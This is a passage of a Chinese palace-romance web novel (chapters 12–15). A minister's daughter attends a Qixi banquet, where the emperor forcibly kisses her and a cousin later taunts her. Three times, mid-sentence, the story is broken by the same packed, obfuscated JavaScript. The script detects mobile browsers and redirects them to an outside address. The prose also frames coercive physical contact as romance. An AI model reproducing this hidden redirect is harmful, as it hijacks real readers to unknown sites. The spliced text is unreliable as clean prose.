可沈相说了,皇宫的人都非善类,少见为好。特别是那狼崽子,吃人不吐骨头,见了面都要绕道走。 沈若辞一早就知道皇帝是个离经叛道的主儿,父亲对她的事向来上心,她也听话,从不接受这类请帖。 今日还是头一回出席皇家的宴席,所以在她下马车遇到岳常安,听他笑眯眯地问自己,今日准备了什么才艺在宴会上展示的时候,她一时哑口无言,竟不知道要表演才艺这回事。 岳常安在宫里摸爬滚打多年,已经是个老狐狸。见她窘迫无言,嘴巴就跟抹了蜜一样,“沈姑娘没有准备也无妨,您人站在那儿,就是一道风景,让人移不开眼儿了。” 沈若辞虽极少参加这些正式的宴席,但也不是没见过世面的小姑娘,听岳常安这般客套的夸赞,只微微一笑,便垂下头去。 她今日打扮有别于往常。 阿茉得知她要入宫参加七夕宴一事,从昨日便开始帮她挑选衣裳。小姑娘兴致勃勃的,沈若辞也没扫她的兴,看她忙忙碌碌地比划了半天,最后选定了一身淡粉色的长裙。 这个颜色的衣裳她穿的少,本以为上身会很奇怪,结果还好,看起来并不别扭,但也没有阿茉说得那般好看。 眼下她涂的口脂是阿茉用紫阿茉新做的,颜色艳丽,还有淡淡的芬芳,很好闻。 宴席还没开始,岳常安走了之后,沈若辞独自一人坐在僻静的凉亭里,低头就能闻到口脂的甜香。 亭子地势较高,坐在里边她能看到下边的行人,别人却看不到她。 来来往往,都是她不认识的面孔。沈若辞看了一会,发现一个熟悉的身影。 元栩身着玄色龙袍,眉眼冷淡,看起来总是冷冰冰的,一点也不近人情。 这样的人,把沈相一腔忠诚当成坏心,不识好歹。 沈若辞正腹诽,忽然一阵银铃般的笑声入耳,她垂头去看,皇帝身前有一妙龄少女,他冷峻的眉眼竟突然舒展开来,神色也跟着柔和了许多,仿佛换了个人。 那女子立在皇帝跟前,身形娇小,双颊红润,娇怯怯地喊了一声“表哥”,很是赏心悦目。 皇帝朝她点点头,嘴角隐约还带了点笑意,“亦心也来啦。” 连亦心整张脸都晕染着浅浅的笑意,她迫不及待地摊开手中的画卷给他看,“表哥,这是我今日要在七夕宴上展示的画作,您给我指点一二。” 画卷打开到一半,连亦心的手叫一旁的连亦兰给按住了,“妹妹急什么,皇上事情多,等下宴席开始再看也不迟。” 皇帝确实有事,他听连亦兰这么说,便接着她的话道,“也好,等下再看,朕先去忙。” 连亦心只好将画作重新卷起来,目光落在皇帝清俊挺拔的背影上,心底里泛起一阵失落。 连亦兰心中却有几分得意。 皇帝对别的女子都是冷冷淡淡的,唯独对连亦心,总是有那么一点不同,这点连亦兰从前便知道了。 12. 第 12 章 那时候她还未入宫,连亦心就总是寻各种由头进宫见皇帝,几乎每次都能顺利见着人。 皇帝作为她的夫君,却从未对她有过这般和颜悦色,她的心像被冰雪打过,有说不出的烦闷和嫉妒。 所以在连亦心跟皇帝相谈甚欢的时候,她忍不住找了个借口打断二人,也没想到竟然奏效了。 连亦兰不动声色地睨了妹妹一眼,拧眉道,“快别看了,陪我去走走吧。” 沈若辞本想一个人安安静静地在这里坐到宴席开始,再偷偷地溜进去。谁知天不遂愿,没坐一会,就听少女惊讶的声音,“沈姐姐,没想到你也会来,竟然能在这里遇见你。” 沈若辞起身的同时慢慢回头,说话的人正是那日龙岩寺见过一面的薛元柔。 薛元柔笑容甜美,与她比肩而站的袁妙莹却神色冰冷,她容貌出众,眉眼撩人,但此时整张脸都透着不悦。 袁妙莹是袁子逸的妹妹,国公府的嫡小姐。沈若辞大概猜到,她没给自己好脸色是因为袁子逸的原因。 想到这里,沈若辞对薛元柔回以一笑,客气地打了声招呼。 袁妙莹依然没给她好脸色看,讥诮道,“我倒是没想到,沈相出了那样子的事,你还能像个没事人一样来赴宴。” 沈若辞也没生气,淡漠一笑反问道,“时至今日,袁大小还是管得这么宽?” 她年少时跟袁子逸来往,袁妙莹表面上与她为善,暗地里却经常拿话埋汰人。沈若辞也不是没眼色的人,发觉此事后,就尽量与她疏远。 而今她跟袁子逸断了关系,更没有了忌惮,也不必再顾及他的感受。 这几日袁子逸为了沈若辞不吃不喝,失魂落魄,袁国公将他大骂一顿,家中鸡犬不宁,袁妙莹将所有过错都归咎于沈若辞身上。 此时见她盛装打扮出席宫宴,却更加深了袁妙莹的不满,她憋着一肚子的怨气,怒极反笑,伸手挽起薛元柔的手,“而今我大哥与柔儿情投意合,出双入对。沈相出了事你一个孤零零的,连我都替你可怜。” 薛元柔明显有些意外,转过看了袁妙莹一眼,就听沈若辞说,“恭喜薛姑娘了。”这话令她更加心虚,不知该如何回答的时候,幸亏薛贵妃出现得及时,摇着团扇袅袅娜娜地进了凉亭,“你这丫头,原来躲到这里来了,害我好找。” “长姐。”薛元柔乖巧地行礼,甫一抬头,就见连家姐妹不知何时也逛到了亭子里。 她时常出入后宫,对连亦兰并不陌生,又行了一礼,“见过连妃娘娘。” 袁沈二人见状,也跟着行礼。 亭子不大,一下子来了五六个人,稍显拥挤。 沈若辞默默地退到角落里。 薛雪媚媚眼如丝,傲慢地将目光在众人身上转了一圈,眉头几不可见地皱了皱。 皇帝对女子素来冷淡,但对连亦心这个表妹,却有几分不同。与连亦兰的端庄无趣不同,连亦心生动可爱,姿色也比她略胜一筹。 薛雪媚曾庆幸当初与她一同入宫为妃的不是连亦心,但而今看来,进了宫又如何?还不如连亦心这个没进宫的! 众人心中各有所思,凉亭里一下子安静了下来。不出一会,就听见“啪哒”的一声,是东西掉落在地的声响。沈若辞循声望过去,地上躺着一幅散开的画卷,是从连亦心手中跌落的。 连亦心似乎没发现自己的失态,眼神有些讷讷的,连画卷也顾不上捡起来。 连亦兰皱着眉头望向身旁的妹妹,责备道,“怎么如此失礼。” 连亦心这才回过神来,抓着姐姐的手神色微微慌乱。 连亦兰勉强笑了笑,私下给了连亦心一个眼神,让她把画捡起来。连家女子向来以端庄得体著称,这般慌乱失措的行为,让她在薛雪媚面前丢了脸面,她心有不满。 连亦心奇怪的反应还是引起了众人的注意。 沈若辞不由得抬眸看了她一眼,巧合的是,连亦心惊慌中也望向了她。 10 二人目光相接,连亦心赶紧低下头去。似是迟疑了一下,才弯身捡起自己方才还引以为傲的画作。 沈若辞安静地收回目光。虽然对连亦心的反应有几分不解,但也没有放在心上。 连亦心掐着自己的手,指甲陷进肉里面,血丝渗出来。 她没有想过,竟有人,跟皇上从前爱慕的民间女子有几分相似。 看热闹的薛雪媚暗地里嗤笑一声,也顾不上连家姐妹在玩什么把戏。此时宴席已经快要开始,当务之急是在皇帝面前好好展示自己的美貌,也不枉费她天没亮就起来梳妆打扮。 七夕宴设在御花园里,此时正直盛夏,百花齐放,争奇斗艳,将宴席点缀得美不胜收。 皇帝一早穿了身玄色的龙袍从寝宫里出来,走到半路遇到岳常安,听他说了几句话,又原路折了回去。 一阵翻箱倒柜之后,换上一身雪青色的飘逸长衫,连带发冠都换成了精致的镶金白玉冠,衬得气质翩然洒脱。行走间好似春日出游的贵公子,金尊玉贵又俊朗无双。 是以皇帝姗姗来迟地出现在宴席上的时候,尽管俊美无俦的脸上没有半分表情,却仍让众多贵女脸红心跳。 贵女们纷纷卖力展示才艺,企图博取皇帝关注,一举夺得圣心,成为帝王身边的女人。 沈若辞没有这个心思,坐的地方也是贵女们挑剩下的小角落,不似其他人一般三五成群,热热闹闹的。再者沈相落了难,众人生怕受牵连,都远远地避着沈若辞,不敢与她挨得太近。 这样一来,她没说上半句话,心不在焉地看着台上的表演。 这些才艺大都是歌乐舞蹈或者是茶艺女红,沈若辞没有大多兴趣。加上父亲尚在牢狱之中,她更没有心情去欣赏表演。只坐了一会儿,就觉得度日如年,所幸桌上有茶水点心。来了半天,她也饿了,就着花茶吃了几块精致的点心。 众人虽不好与她靠近,暗地里却忍不住笑了,没想到堂堂相府的千金,而今也成这般落魄的模样,空有一张好看的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16404473|184415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皮囊,也是于事无补。 沈若辞自然不知道众人对她的恶意,百无聊赖地喝茶消遣。宫女上前添茶,也不知道故意的还是心思都在舞台上的表演,竟将茶水洒到她身上。 茶水湿了裙摆,宫女连声道歉。沈若辞也不想引起注意,摆摆手让人下去。 她用帕子简单擦拭了一下,幸好洒出来的茶水不多,裙摆只湿了一角。可是花茶里加了糖,手沾到茶水黏黏的,沈若辞悄悄离开宴席,出去洗了个手。 七夕宴就设在御花园里。 这里构思奇妙,亭台流水,千姿百态,美若蓬莱仙境,倒是比宴席上的表演好看的得多。 沈若辞走了一会,零零散散几朵山茶花初开,她凝神去看。山茶花是沈相最喜欢的花卉,他们住的小院里,就栽满了各个品种的茶花。那些都是父亲的心头好,就算再忙,也会抽出时间亲自打理。 沈若辞心头不是滋味,正准备离开,一转身就撞入一个宽厚的胸膛。 她摸了摸撞痛的额头,入眼是身着湖蓝色轻纱长衫的男子。这身装扮轻薄飘逸,略显浮夸,但此时跟自己的衣衫交叠在一起,颜色竟然有些……衬!? 沈若辞快速地将这个想法的从脑中摒弃。 她还没来得及抬起头去看看撞到何人,就听到一把熟悉清冷的声音,让她浑身汗毛直起。 “怎么不好好走路?” 沈若辞也不知道皇帝为什么会站在她背后,还一言不发,也不知道是站了多久,她想着就一阵不安。 那人生得龙章凤姿,偏偏脾性不大好,此时眉头狠狠地皱起,看起来很不满。沈若辞提起裙摆,双腿一弯,就要跪了下去。 正弯下腰,身体却被那人托住,不由分说地拉着她往茶花林里走进去。 元栩身形高大,腿脚更是修长,他走得急,直至将人抵在假山的巨石上,才停了下来。 沈若辞这两年缠绵病榻,极少运动,一路跟在皇帝身后小跑过来,此时红唇轻启,仰着一张极艳的小脸,微微喘息。 元栩面色如常,气息不乱,俯视着她莹润嫣红的唇瓣,意味不明地说,“沿沿今日抹了口脂。” 沈若辞止住了喘息,面色微红,仰头看着皇帝,一言不发。 这点小事有什么好拿出来说的,今日赴宴哪个女子没有抹点口脂? 她眨了一下眼睛,眸子里似有涟漪泛起,盈盈沁着晨露。 元栩若无其事地凑了过来,她已然无路可退,绷紧了脖子往后撤。幸好他只是吸了一口气闻了闻,在那高挺鼻尖快要碰到她上唇的时候,及时撤走了。 沈若辞暗暗松了一口气,皇帝清隽的面庞看不出喜怒。她都顺着他的意思来参加七夕宴了,也成功让她被人指指点点了一番,这人还有什么不满意? 沈若辞没有想通,此时皇帝与她近在咫尺,她也不敢问皇帝是什么意思。 元栩左手抵着鼻尖,目光始终朝下看,回味了一下之后,才缓缓开口,“闻着有点香甜。” 13. 第 13 章 “朕尝尝就好了。” 沈若辞眼皮跳了一下,“这口脂是臣女婢女所做,皇上若是喜欢,臣女可以送上两盒。” 口脂本是女子所用之物,皇帝一个大男人根本用不着。沈若辞被他的无礼的行为气到了,没忍住暗讽了皇帝。 刚逞完口舌之快,沈若辞心中便开始后悔了,这人是高高在上的君王,父亲还在他手中,自己竟一时昏了头脑,口无遮拦…… 沈若辞不安地抬眸,目光触及皇帝的脸,他非但没有生气,反而俊颜带笑,双眸漆黑有神,“朕尝尝就好了。” 说着低头含住了娇嫩的唇。 温热的气息侵入她的呼吸,沈若辞吓得魂都飞了,这人又开始使这些下作手段来折辱她了。 更何况这里可是皇宫,人来人往,若是让人看见了,她又该背上什么恶名? 皇帝好像一早预料到沈若辞会推开他,在碰上她的唇的时候,已经将人紧紧地禁锢在怀中。 此时沈若辞困在他的臂膀里,被他强势地占有着。 不同于避暑山庄那次的长驱直入,这次皇帝没有探入她的口中,只一味变着法子含吮她的双唇,时而轻柔缓慢,时而强势霸道,辗转厮磨,一遍又一遍地将她的唇玩弄于唇舌之间。 沈若辞不明白自己怎么软了身子,喉间开始溢出呜呜咽咽的低吟,直到最后她开始哭了起来,元栩才意犹未尽地将人松开,垂眸去看,见她靠在自己怀中,双眸水光潋滟,形状美好的唇瓣更是被他吻得娇嫩欲滴,唇色极艳。 刚刚压下去的一团火,又瞬间被点燃。他用了极大的定力,将那绵软的身子揉在怀里,才克制住再次吻上去的冲动。 皇帝好不容易松开了唇,沈若辞如同搁浅的鱼儿重回水中,呼吸畅快起来,脑袋也清醒了许多。她忍过了脸上一阵又一阵的燥热,试探着从男人怀中抽离开来。只是那健壮有力的手臂又突然收紧,她不得已又得贴着他的身子,二人之间隔着薄薄的夏衣,看起来亲密极了。 皇帝身体硬邦邦的,沈若辞红着脸去推他,掌心有薄汗。 可她那点力气根本不当事,皇帝低下头,在她耳畔吹拂下热气,沈若辞心头忽地一颤,那个香艳的梦境,也是如此燥热…… 梦境与现实毫无缝隙地衔接重叠,她恍若亲临于梦中无穷无尽的羞愤中。这一瞬间,竟恍惚感受到那男人长指在自己身上划过,引得她浑身连连战栗,颤抖不已。 沈若辞无力地闭了闭眼,觉得自己肯定中了邪,这男人根本就是披着人皮化作美男子的恶狼,擅长蛊惑人心,夺人魂魄。 她害怕自己继续留下来,会被那豺狼吃得连渣都不剩,眼尾不知何时泛起潮红,委委屈屈地问道,“皇上还有何吩咐……臣女想回去了……”尾音软绵绵的带着哭腔,元栩觉得这女子的声音也好听得紧。 可是说出来的话,总是一如既往的不讨喜。他眸色深了深,低头吻了吻沈若辞僵硬的唇角,哑声道,“就这么怕朕?” 沈若辞不知作何回答,皇帝在她身上泄愤,她能不怕? 另一边薛雪媚寻着人,从茶花园的小道走进来,一眼望到皇帝玄色的龙袍,惊呼了一声“皇上”。 皇帝向来不喜宫中宴会,极少出席。今年的七夕宴太后曾派人请过皇帝,不出意外也被回绝了。只是不知因何原因,又传出皇帝要参加宴席的消息。 后宫一夜之间有了生气,几位妃子私底下暗暗发力,精心研究妆容衣饰,就为了在七夕宴上脱颖而出。 宴席上薛雪媚的座位离皇帝最近,她觉得可以趁这个机会亲近皇帝,但是她还没来得及表现,皇帝就不见了踪影。 她立马寻了出来,意外在茶花园里找到了皇帝,一时间惊喜不已,喊了一声皇上。 只不过出声后才发现皇帝怀里竟然还抱着一个女人! 这一声皇帝喊得又酥又媚,让人骨头都软了,沈若辞心头一震,慌乱地去看皇帝,小手无意识地揪紧元栩的衣襟。 一双杏眸水蒙蒙的,含娇带媚。突然被人打扰,元栩眼中闪过一丝不易察觉的阴狠,但在对上怀中娇人的眼儿后,转瞬即逝。 岳常安原本是在一旁放风的,见皇帝三两下又将人压在身下吻了起来,红着老脸走远了两步。哪知一个不察,竟让薛贵妃钻了空子,他急急上前,“贵妃有何事,这边来说。” 薛雪媚一心想看清是哪个狐媚子在勾引皇上,竟让极少涉足后宫的皇帝,在光天化日行那苟且之事。 她眼里容不下沙子,就想上前一探究竟。可是岳常安毕竟是皇帝身边的红人,她也不敢得罪,只好依着他的意思走开了。 步子是迈开了,眼神却不甘心地频频回望,可恨皇帝将那女子挡得严严实实,无法窥见半分。 薛雪媚明知故问,“岳公公,本宫要找皇上呢,皇上在做什么啊……” 岳常安硬着头皮瞎扯,“皇上在小解呢,贵妃暂且回避一下。” 这个借口一说出来,岳常安心里就后悔得要命,恨不得扇自己两个大嘴巴子。 元栩“……” 脚步声渐远,沈若辞放松了警惕,视线下移。恰好落在自己那只抓着龙袍衣襟的手上,不禁愣了愣。 片刻之后,那只小手不动声色地松开衣襟。适才她害怕被人发现,情急之下将领口抓得皱巴巴的。沈若辞倒吸了一口凉气,张开五指轻轻地捋平褶皱,一颗心如履薄冰。 她也不知道捋了多久,直到皇帝神色冰冷,唇角擒着一丝冷笑问她,“摸够了没有?” 沈若辞见他终于笑了,温顺地点点头,她觉得这布料摸起来确实还不错。 只是胸膛很硬,像是摸着铁块一样。 元栩看着清瘦,浑身却硬邦邦的,很是结实强壮,这得益于那两年行兵打仗的生活。沈若辞被他压过,硌人的人,现在想起来都觉得胸脯隐隐作痛。 皇帝总算将人松开了,沈若辞双唇仍像火烧过一样,热辣辣的。她生怕口脂弄脏了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16404474|184415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸,掏出手帕在一旁默默地擦拭唇边。 皇帝立在原地看了她半晌,擦个嘴这么勾人,看得他心烦意乱,心中那团火又蠢蠢欲动。 他冷淡地喝停了他的动作,“行了,嘴皮子都要破了。” 他眼神冰冷得渗人,沈若辞握着手帕的手一顿,不敢再擦下去了,眼巴巴地盼着皇帝赶紧离开。 她心忧皇帝怎么还不走,难不成是想留在这里被人抓个现行?事与愿违,沈若辞低着头,视线落在元栩月白色的鞋尖上,一动不动。 耳边传来窸窸窣窣的声音,沈若辞见皇帝从怀中掏出一个青碧色的事物,未及看清,头皮忽然起了一阵痛感,疼得她下意识伸手去揉,就见元栩大步流星地离开了。 15 这是为了欺负她一下才舍得走的意思? 沈若辞揉了揉发痛的头皮,见岳常安去而复返,一步三回头地走到她跟前,笑意浓浓地低声道,“沈姑娘,皇上送的东西要好好保管。” 岳常安是特地来说这句话的,说完就去追皇帝了。 沈若辞摸了摸发间那“凶器”,手感光滑圆润,估计是个玉簪子,上面还留存着人体的余温。 她有点怀疑岳常安的说法,毕竟这么特别的送礼方式,沈若辞还是第一回见。 有了岳常安的掩护,皇帝及时回到了宴席,沈若辞也得以解脱。 她回到宴席的时候,并无人发现她什么时候回来的。 恰巧那时候,正赶上袁妙莹上台献舞。 袁妙莹生得美,容貌出众,精挑细选的舞衣更衬得她身段柔美动人。此时一站到莲花池中央,满池的莲花都失了颜色,一时间吸引了所有人的目光。 红白相间的精致裙裳,静止时似含苞欲绽的俏蕾,起舞时似翩然绽放于风中的花娇花,当真养眼得很。 随着轻盈的身子回旋起舞,台下赞许之声不绝于耳。薛雪媚进来的时候,恰巧看到了这一幕,英俊的帝王端坐于主位之上,冷淡的眉眼出乎意料的柔和,唇角微勾,染着淡淡的笑意。 而他的目光,刚好落在莲花池中央的倩影上…… 薛雪媚看在眼里,眼眶发热,按捺住不满重新坐回皇帝身边。再看那女子扭腰翘臀,卖力表演的模样,分明就是想勾引皇帝! 而皇帝的反应,偏偏像极了被勾引到的样子。莫非适才茶花园里被皇上搂在怀里的女子,正是此时献舞的袁妙莹? 她如坐针毡,心中转过千万个念头,软了身子朝皇帝靠过去,娇娇柔柔扶着他的手臂地唤了一声皇上。 元栩满脑子都是沈若辞被他亲红了脸的模样,甚是娇媚。此时见她抿着唇,双颊粉嫩,怎么看都是她最美,他眼光果然是最好的! 正得意,感觉有人摇了摇他的手,宴席上歌舞方歇,袁妙莹跪在地上,身姿纤细,楚楚动人。 他凝神一看,眸中的柔光几不可见地清冷下去,面上笑意不减,“跳得好,朕重重有赏。” 14. 第 14 章 袁妙莹心中一喜,一想到自己是宴席上第一个受到皇帝赞赏的贵女,还引得皇帝龙心大悦,不禁心神荡漾,含羞带娇地退了场。 袁妙莹下场后,皇帝又耐着性子看了一场表演,饮了两杯酒,便以政务繁忙为理由离开了宴席。 皇帝一离开,众多贵女的热情就减了大半,有的甚至捶胸顿足,后悔没有早早上场,好在圣人面前一展风采。 整场宴席下来,袁妙莹成为最大的赢家,一举博得皇帝青睐,这让其他贵女艳羡不已。 宴席散了,御花园里恢复了往日里的宁静。 连亦兰今日也是败兴而归,她带着妹妹连亦心,二人一同回到了寝宫。 自从出了凉亭之后,连亦心一直是一副魂不守舍的样子,到现在还没恢复过来。连亦兰本来就心绪不佳,看她这副样子,更觉得气闷,忍不住挖苦道,“你今日是被皇上勾了魂吧。” 连亦心似乎没听出她言语的嘲讽,若有所思地握着连亦兰的手,“亦兰姐姐可还记得表哥……遇到的那位民间女子?” 连亦兰当然记得,当初那女子不知用了什么妖术,把皇上迷得七荤八素的,日日往宫外跑。 今日袁妙莹大出风头,连亦兰一想到皇帝对她赞赏有加,心里都堵得不行,突然听到这么个人,更加的不悦,她冷笑道,“低三下四的女子罢了,还提她做什么。” 连亦兰瘪了瘪嘴,小声道,“今日凉亭里那姓沈的女子,样貌与她有五分相似,只不过……” 连亦兰回想了一下,脑中出现沈若辞那张明艳不可方物的脸,心头下意识一跳,就听连亦心继续说道,“只不过,她比那民间女子要漂亮上许多。” 连亦心不认识沈若辞,连亦兰可认得,那女子是沈相的女儿,而今不过是个罪臣之女。 单凭沈相是她父亲这一点,那五分相似也变得无足挂齿了。 皇上再怎么肆意妄为,也不会昏庸到去要沈相的女儿。 连亦兰很快便不将这事放在心上,与其害怕沈若辞得了皇上的恩宠,还不如多防着身边的人。 毕竟皇帝对连亦心向来也是不一般,这点没人能比她更清楚,她甚至怀疑沈若辞这事是连亦心无中生有,只是为了保全自己,故意祸水东引罢了。 * 沈家的马车出了皇宫,沈若辞伸手拨下发间的玉簪子。幸好今日茶花园一事有惊无险,她也不必背上勾引君王的骂名。 碧绿色的玉簪拿在手中,并非上等的好玉,但胜在玉质温润无暇。簪头隐约能看出是一朵小花,雕工显然一言难尽。街头摊贩三文钱能买到的簪子,雕工都要比这个精致得多。 沈若辞心道果然,这玉簪大概是哪个妃子嫌粗鄙不要的,皇帝随手拿来当行凶的凶器。也亏得岳公公能错意,竟还以为这是皇帝送她的礼物! 当真好笑的得很! 沈若辞随手将玉簪揣入袖兜里,毕竟是皇宫中带出来的物品,也不好随意损坏。 宫里的七夕宴,沈若嫣没资格参加。往年去不成也就算了,今年三伯落了难,沈若辞还能风风光光地去宫里赴宴。一比较下来,自己又输了人家一大截,不由得气闷难受。 以她的性子,憋了一天的怨气,不找到地方发泄出来,是绝对坐不住的。 所以沈若辞从宫里回来的时候,就在花园的小道上遇到了沈若嫣。 皇帝今日借口尝她唇上的口脂,将她双唇蹂躏得微微红肿,她自知见不得人,半垂着头打了声招呼,就赶着离开。 偏偏沈若嫣不依不饶,横着眼儿将她打量了一番,伸过去一只手臂挡住了去路,嘲讽道,“怎么,这般见不得人,是不是去宫里勾男人了?” 沈若辞看了她一眼,态度不温不火,并没有被激怒。 这模样看在沈若嫣眼里,却更加火大,她身上这身衣裳,就足够她们大房一个月的开销。上等的绫罗绸缎,裹着女子玲珑的身子,衬得她纤腰盈盈,雪峰俏立,那身段明晃晃地刺眼。 这人一输得得多了,性子就容易变得扭曲,她也顾不得什么礼义廉耻,只想将沈若辞的尊严狠狠地踩在地上,“沈若辞,你这身子是不是给男人揉大的……” 话音未落,沈若辞心头腾起一丝诧异,待明白过来她指的是哪里的时候,脑子里是铺天盖地的震惊,神色如遭雷击。 大伯骄奢淫逸,待子女态度也极差,经常污言秽语口无遮拦。 沈若辞知道这些堂哥堂姐的处境,平日里对沈若嫣多加忍让。可而今她遭了难,这些人就蹬鼻子上脸,拿这些腌臜话拿来消遣她。 早几年她还不懂父亲为什么要和这些人划清界限,而今总算是了然于心了。想到此她奋力推开沈若嫣的手臂,冷冷地警告她,”沈若嫣,你我最好井水不犯河水。我爹虽不在我身边,但宋临在。” 小时候这些堂哥堂姐合伙起来欺负她的时候,宋临总会像个小大人一样把她护住,再把欺负她的人教训一番。 一来二去,沈若嫣这些人就怕极了宋临,也因此讨厌死了宋临。 此时听沈若辞拿宋临吓唬自己,更是气不打一处来,就想将人彻彻底底地打压住,“三伯出了事,你觉得宋临还会继续护你?沈若辞,你还是别做梦了。说到底你也不过是个野种,你说你爹都没成亲,你是哪里来的?退一万步讲,就算真的是三伯的种,顶多就是个私生女,压根儿不是正经的名门贵女。” 沈相没出事之前,这些话沈若嫣打死也不敢说的。只不过今非昔比,她亲耳听父亲说了,三伯就算能出来,也不会再有往日的风光了。 既然如此,她还有什么可忌惮的,这一次非要好好出一口气不可。把以往那些最不能说的,沈若辞最害怕听的,全都拿出来打压她,刺激她,好平复一下自己这么多年来的委屈与不甘。 这些话说出来后,整个人都舒畅多了,再去看沈若辞,她早已气得脸都红了,两只手使劲地提着裙摆,一副要扑上来跟自己打架的模样。 这才是她的要的,她就是想看沈若 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16404475|184415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辞炸毛的样子。更何况,沈若辞这个病秧子又打不过她,她还可以趁机教训她一顿。 沈若辞当真是气急了,她最听不得别人说她是野种。小时候沈若嫣总爱跟她比这个比那个,可她一点也不喜欢。她害怕有一天,沈若嫣会说,我有娘亲,你没有。 她曾哭着问沈相,为什么她没有娘亲。沈相没有说她的娘亲没了,也没有说娘亲不要她了,只是让她以后不要提这个人。 父亲什么都好,就是对她娘的事闭口不提。 这么多年过去了,她觉得自己长大了,不会再对此事患得患失。可是当沈若嫣指着她的鼻子说野种的时候,沈若辞还是清楚地感知自己就算一只暴怒的小公鸡,周身的羽毛瞬间都炸了起来。这一刻只想不管不顾冲过去将人打一顿。 好在她还有自知之明,抓着裙摆踌躇了一下,突然放开喉咙大喊,“宋、临……沈若嫣又欺负我了。” 这句话对沈若嫣来说就像是魔鬼,她的身体已无意识地抖了抖。再回神,沈若辞已经迈着大步子走远了,她也不敢追。 沈若辞扑在床上哭了一顿,哭得昏天暗地,仿佛想把这些年的委屈一次性发泄出来。 等到看她哭得差不多的时候,阿茉才递上热毛巾给她擦脸。沈若辞接过布巾,抽抽噎噎地抹了把脸。 “阿茉……” 阿茉看得心惊,她从未见过小姐这么哭过,听她开口唤自己,急忙回道,“小姐我在。”然后一脸担忧地盯紧了她。 沈若辞将布巾递给阿茉,哽咽着问道,“阿茉,宋临没对沈若嫣下狠手吧?” 阿茉松了一口气,无奈道,“没有,吓唬她一下而已。“ 这都把人气成什么样子了,还管她做什么呢! 事实上阿茉误会了沈若辞,她并非为沈若嫣担忧。只是而今处境不同,若宋临真的伤了沈若嫣,大伯一家要是泼皮无赖过来闹,又该掀起一场不必要的风波。 她而今心力交瘁,哪有心思再去应付这些人? 沈若辞哭完出来的时候,宋临已等了她一会儿。 他目光扫过沈若辞的脸,除了眼皮微微红肿,并没有什么异样,他松了一口气,仍站在原地。 沈若辞给他倒了一杯水,招呼他坐下。 宋临只是站着,语气干硬道,“小姐,袁子逸并非良配。” 他向来沉默寡言,连安慰人都不懂得怎么说,但沈若辞自小与他一起长大,一下子就明白他在开解自己,心里顿时暖暖的。 “你误会了,我哭并不是因为他,只是最近烦心的事比较多,一时没控制住……” 刚才情绪崩了口,就想不管不顾地发泄出来,现在说起来倒是有些丢脸,沈若辞觉得双颊微微发热。 “嗯。”宋临木木地应了一声,“小姐跟……皇上是自愿的吗?” 沈若辞颇感意外,皇帝对她做那样的事,莫非宋临都知道了? 一回想起她被按在寒潭边,假山下的画面,就羞恼得不行。 15. 第 15 章 沈若辞不愿再提起此事,只心虚地抿了口茶,含糊地“嗯”了一声。 宋临点点头,“那就好。”也不再多问。 二人默默地喝着水,沈若辞忽然抬头看向宋临,眼睛里有期盼的神色,“宋临,我听阿爹说你很小就来相府了,你有没有见过我娘啊?” 宋临被她问得措手不及,只茫然地摇了摇头。他努力回忆小时候的事情,只知道这些年在沈相身边,所有人像是约定俗成一样,缄口不提沈相的夫人,更没有人提及沈若辞的生母。 见他摇头,沈若辞只觉得在意料之中,并没有多少失望,“也是,你若是知道的话,小时候就告诉我了,哪里要等到今天我问你才说。” 宋临点点头。 * 七夕宴后,袁妙莹成为全盛京风头最盛的贵女。去过宴席的人都知道,袁妙莹一曲歌舞精妙绝伦,冷面君王为之倾倒,龙颜大悦,甚至赞不绝口。 宴席过后,皇帝允诺的赏赐也及时送达了国公府。金银珠宝,绫罗绸缎,数不胜数,一时间风光无限。 另一头,宫中也传出了立后的消息。 薛雪媚头一个哭着去找太后。 不出一刻钟,以薛贵妃为首的四妃都聚集在太后宫中。 四人平日里表面和睦,暗地里相互较劲,谁也看不惯谁。今日却难得一条心,同时来到太后宫中,就是为了求太后给她们做主。 皇帝亲征回宫后,就一直冷落后宫,从来没有见过他和颜悦色的时候。然而七夕宴上,皇帝的反应众人有目共睹,自己宫中的女人不闻不问,却为献媚的狐狸精喜笑颜开。 这事一想起来,四人都觉得憋屈。 薛雪媚骄横惯了,最先沉不住气,“姑母,你可要为我们做主啊,千万不要让那袁妙莹进宫。” 七夕宴上那段歌舞,袁妙莹明摆着就是在勾人,绝对不会是省油的灯!而今想想,茶花园里皇上拥着抱着女子,那不正是袁妙莹吗?毫无疑问啊! 她们入宫的妃子都没有得到皇帝的宠爱,如何能让人后来居上,未进宫就得了圣宠。 薛太后面色凝重,皇帝要立后一事,她也是从旁人口中得知的。她拉下老脸差人去问,皇帝只回了两个字“保密”,看样子是想将事情做绝了。 